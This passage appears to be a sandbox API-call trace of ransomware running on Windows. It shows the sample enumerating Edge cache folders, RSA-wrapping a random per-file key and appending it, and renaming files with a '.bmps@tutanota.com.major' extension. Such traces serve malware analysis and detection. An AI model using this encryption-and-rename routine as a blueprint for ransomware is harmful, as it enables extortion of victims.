0x0 [0193.712] SetLastError (dwErrCode=0x0) [0193.712] GetLastError () returned 0x0 [0193.712] SetLastError (dwErrCode=0x0) [0193.712] GetLastError () returned 0x0 [0193.712] SetLastError (dwErrCode=0x0) [0193.712] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bea50 | out: hHeap=0x570000) returned 1 [0193.713] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f875a8 | out: hHeap=0x570000) returned 1 [0193.713] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40600 | out: hHeap=0x570000) returned 1 [0193.713] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x657000 | out: hHeap=0x570000) returned 1 [0193.713] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0193.713] FindNextFileW (in: hFindFile=0x2f87168, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf98c0dcf, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xf98c8304, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x2abd399c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0193.713] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f81a88 | out: hHeap=0x570000) returned 1 [0193.713] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a44f0 | out: hHeap=0x570000) returned 1 [0193.713] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b128 | out: hHeap=0x570000) returned 1 [0193.713] GetLastError () returned 0x0 [0193.713] SetLastError (dwErrCode=0x0) [0193.713] GetLastError () returned 0x0 [0193.713] SetLastError (dwErrCode=0x0) [0193.713] GetLastError () returned 0x0 [0193.713] SetLastError (dwErrCode=0x0) [0193.713] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be6e0 | out: hHeap=0x570000) returned 1 [0193.713] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f87628 | out: hHeap=0x570000) returned 1 [0193.713] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e405a0 | out: hHeap=0x570000) returned 1 [0193.713] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x657000 | out: hHeap=0x570000) returned 1 [0193.713] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0193.713] FindNextFileW (in: hFindFile=0x2f87168, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xf98c6f7b, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xf98c6f7b, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xf98c6f7b, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0193.713] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f81a88 | out: hHeap=0x570000) returned 1 [0193.713] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0193.713] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b238 | out: hHeap=0x570000) returned 1 [0193.713] GetLastError () returned 0x0 [0193.713] SetLastError (dwErrCode=0x0) [0193.713] GetLastError () returned 0x0 [0193.713] SetLastError (dwErrCode=0x0) [0193.713] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f81a88 | out: hHeap=0x570000) returned 1 [0193.713] GetLastError () returned 0x0 [0193.713] SetLastError (dwErrCode=0x0) [0193.714] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x657000 | out: hHeap=0x570000) returned 1 [0193.714] FindNextFileW (in: hFindFile=0x2f87168, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2abd399c, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2abd399c, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2abd399c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0193.714] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b4f18 | out: hHeap=0x570000) returned 1 [0193.714] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0193.714] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b2c0 | out: hHeap=0x570000) returned 1 [0193.714] GetLastError () returned 0x0 [0193.714] SetLastError (dwErrCode=0x0) [0193.714] GetLastError () returned 0x0 [0193.714] SetLastError (dwErrCode=0x0) [0193.714] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f81a88 | out: hHeap=0x570000) returned 1 [0193.714] GetLastError () returned 0x0 [0193.714] SetLastError (dwErrCode=0x0) [0193.714] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x657000 | out: hHeap=0x570000) returned 1 [0193.714] FindNextFileW (in: hFindFile=0x2f87168, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2abd399c, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2abd399c, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2abd399c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0193.714] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0193.714] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_bingpagedata\\container.dat", dwFileAttributes=0x80) returned 1 [0193.714] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f88ca0 | out: hHeap=0x570000) returned 1 [0193.714] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_bingpagedata\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoftedge\\sharedcachecontainers\\microsoftedge_bingpagedata\\container.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa04 [0193.715] GetFileSizeEx (in: hFile=0xa04, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0193.715] ReadFile (in: hFile=0xa04, lpBuffer=0x59d2a0, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d2a0*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0193.715] SetFilePointer (in: hFile=0xa04, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.715] WriteFile (in: hFile=0xa04, lpBuffer=0x59d1f0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d1f0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0193.715] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d2a0 | out: hHeap=0x570000) returned 1 [0193.715] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d1f0 | out: hHeap=0x570000) returned 1 [0193.715] SetFilePointer (in: hFile=0xa04, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0193.715] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0193.715] WriteFile (in: hFile=0xa04, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0193.716] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0193.716] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0193.716] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0193.716] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="6cOIdstdt/qDVnN/crV0jiq1x9RaE1A4V/xKn7bkwdPqJY/byxewg6XMC8Um0GPc\nVJTRl1L2RMMwJD+7sLYz2AgbD1sQU8HYPvWx6nU9u/sGpPU17erEzEM7GDX5RJAM\nxQz5u5yBDpZJw4fadAanQnLBy3MqM4L20eW80ofX5BvD1hVg/9JNGbKMm+DyNY8V\nhKKQTgGRKQkCnRmJu+qvMioZJD3DzooKlmeYSn5YuXf7MCkIOFwUzHkSK00u+KNo\n97KrgNXi/GGmCSREKWGHL6hTLdNeimN60gOuPiHxuCi6DmBsI49S8M+es6/UezP+\noR3P1zaia+qXMfrQA2SigA==\n", pcchString=0x2e3f9a8) returned 1 [0193.716] WriteFile (in: hFile=0xa04, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0193.717] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0193.717] WriteFile (in: hFile=0xa04, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0193.717] CloseHandle (hObject=0xa04) returned 1 [0193.717] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0193.717] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_bingpagedata\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoftedge\\sharedcachecontainers\\microsoftedge_bingpagedata\\container.dat"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_bingpagedata\\container.dat.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoftedge\\sharedcachecontainers\\microsoftedge_bingpagedata\\container.dat.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0193.718] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b3b90 | out: hHeap=0x570000) returned 1 [0193.718] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x657000 | out: hHeap=0x570000) returned 1 [0193.719] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f88bb8 | out: hHeap=0x570000) returned 1 [0193.719] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x652490 | out: hHeap=0x570000) returned 1 [0193.719] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f82640 | out: hHeap=0x570000) returned 1 [0193.719] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d01b0 | out: hHeap=0x570000) returned 1 [0193.719] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656ee8 | out: hHeap=0x570000) returned 1 [0193.719] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_DNTException\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x9090a172, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x909a2acc, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x2abd399c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f87628 [0193.719] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b4f18 | out: hHeap=0x570000) returned 1 [0193.719] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0193.719] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8adf8 | out: hHeap=0x570000) returned 1 [0193.719] GetLastError () returned 0x0 [0193.719] SetLastError (dwErrCode=0x0) [0193.719] GetLastError () returned 0x0 [0193.719] SetLastError (dwErrCode=0x0) [0193.719] GetLastError () returned 0x0 [0193.719] SetLastError (dwErrCode=0x0) [0193.719] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be268 | out: hHeap=0x570000) returned 1 [0193.719] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f873e8 | out: hHeap=0x570000) returned 1 [0193.719] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e405d0 | out: hHeap=0x570000) returned 1 [0193.719] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x657000 | out: hHeap=0x570000) returned 1 [0193.719] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0193.719] FindNextFileW (in: hFindFile=0x2f87628, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x9090a172, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x909a2acc, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x2abd399c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0193.719] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f82640 | out: hHeap=0x570000) returned 1 [0193.719] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0193.719] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b238 | out: hHeap=0x570000) returned 1 [0193.720] GetLastError () returned 0x0 [0193.720] SetLastError (dwErrCode=0x0) [0193.720] GetLastError () returned 0x0 [0193.720] SetLastError (dwErrCode=0x0) [0193.720] GetLastError () returned 0x0 [0193.720] SetLastError (dwErrCode=0x0) [0193.720] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be7e8 | out: hHeap=0x570000) returned 1 [0193.720] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f871e8 | out: hHeap=0x570000) returned 1 [0193.720] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40558 | out: hHeap=0x570000) returned 1 [0193.720] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x657000 | out: hHeap=0x570000) returned 1 [0193.720] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0193.720] FindNextFileW (in: hFindFile=0x2f87628, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x909a2acc, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x909a2acc, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x909a2acc, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0193.720] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f82640 | out: hHeap=0x570000) returned 1 [0193.720] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0193.720] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8ae80 | out: hHeap=0x570000) returned 1 [0193.720] GetLastError () returned 0x0 [0193.720] SetLastError (dwErrCode=0x0) [0193.720] GetLastError () returned 0x0 [0193.720] SetLastError (dwErrCode=0x0) [0193.720] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f82640 | out: hHeap=0x570000) returned 1 [0193.720] GetLastError () returned 0x0 [0193.720] SetLastError (dwErrCode=0x0) [0193.720] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656ee8 | out: hHeap=0x570000) returned 1 [0193.720] FindNextFileW (in: hFindFile=0x2f87628, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2abd399c, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2abd399c, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2abd399c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0193.720] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b4f18 | out: hHeap=0x570000) returned 1 [0193.720] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0193.720] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b238 | out: hHeap=0x570000) returned 1 [0193.720] GetLastError () returned 0x0 [0193.720] SetLastError (dwErrCode=0x0) [0193.720] GetLastError () returned 0x0 [0193.721] SetLastError (dwErrCode=0x0) [0193.721] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f82640 | out: hHeap=0x570000) returned 1 [0193.721] GetLastError () returned 0x0 [0193.721] SetLastError (dwErrCode=0x0) [0193.721] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x657000 | out: hHeap=0x570000) returned 1 [0193.721] FindNextFileW (in: hFindFile=0x2f87628, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2abd399c, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2abd399c, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2abd399c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0193.721] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0193.721] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_DNTException\\container.dat", dwFileAttributes=0x80) returned 1 [0193.721] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f88ca0 | out: hHeap=0x570000) returned 1 [0193.721] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_DNTException\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoftedge\\sharedcachecontainers\\microsoftedge_dntexception\\container.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa08 [0193.721] GetFileSizeEx (in: hFile=0xa08, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0193.721] ReadFile (in: hFile=0xa08, lpBuffer=0x59d2a0, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d2a0*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0193.722] SetFilePointer (in: hFile=0xa08, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.722] WriteFile (in: hFile=0xa08, lpBuffer=0x59d370*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d370*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0193.722] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d2a0 | out: hHeap=0x570000) returned 1 [0193.722] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d370 | out: hHeap=0x570000) returned 1 [0193.722] SetFilePointer (in: hFile=0xa08, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0193.722] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0193.722] WriteFile (in: hFile=0xa08, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0193.723] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0193.723] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0193.723] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0193.723] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="wnkfSSzFOO08JIPteoQMgJVB/BvuzUYysmUv6RJBe7WqeYBhuBg8O1vGjnOTSuwA\nDO2XX2QSLShClQbBowRZO2lXVwA6ThIn/jT6VnBl9Rqzg1fB37cnpdqlLqgktDAx\nVZQtLHOFdGXMXK1ZraLfIh+vPwqBLslAWJAizKeZsur3RtUcm4fylrXBw1Si83T2\nQ30EmTmGIZRb8boAyhbX+dQfS6ZY0Wd1RSisrrGsecR6e2SLfd9zTKbIZz9HF+i9\nx9OwWGQXwvE99gibJpxDtR0fgghAfJVPJ7TmxC/Ag7Ea0BdFn0xS5sfzZVTec+oN\nwAj9Kg7gdICOFwxMVPMEbw==\n", pcchString=0x2e3f9a8) returned 1 [0193.723] WriteFile (in: hFile=0xa08, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0193.723] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0193.723] WriteFile (in: hFile=0xa08, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0193.723] CloseHandle (hObject=0xa08) returned 1 [0193.723] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0193.723] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_DNTException\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoftedge\\sharedcachecontainers\\microsoftedge_dntexception\\container.dat"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_DNTException\\container.dat.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoftedge\\sharedcachecontainers\\microsoftedge_dntexception\\container.dat.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0193.725] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b3b90 | out: hHeap=0x570000) returned 1 [0193.725] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656ee8 | out: hHeap=0x570000) returned 1 [0193.725] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f88ad0 | out: hHeap=0x570000) returned 1 [0193.725] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x652490 | out: hHeap=0x570000) returned 1 [0193.725] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f81a88 | out: hHeap=0x570000) returned 1 [0193.725] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0020 | out: hHeap=0x570000) returned 1 [0193.725] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656f10 | out: hHeap=0x570000) returned 1 [0193.725] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_EmieSiteList\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x92a91af7, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x92a91af7, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x2abd399c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f87728 [0193.725] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b4f18 | out: hHeap=0x570000) returned 1 [0193.725] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0193.726] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b0a0 | out: hHeap=0x570000) returned 1 [0193.726] GetLastError () returned 0x0 [0193.726] SetLastError (dwErrCode=0x0) [0193.726] GetLastError () returned 0x0 [0193.726] SetLastError (dwErrCode=0x0) [0193.726] GetLastError () returned 0x0 [0193.726] SetLastError (dwErrCode=0x0) [0193.726] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be630 | out: hHeap=0x570000) returned 1 [0193.726] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f87468 | out: hHeap=0x570000) returned 1 [0193.726] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40420 | out: 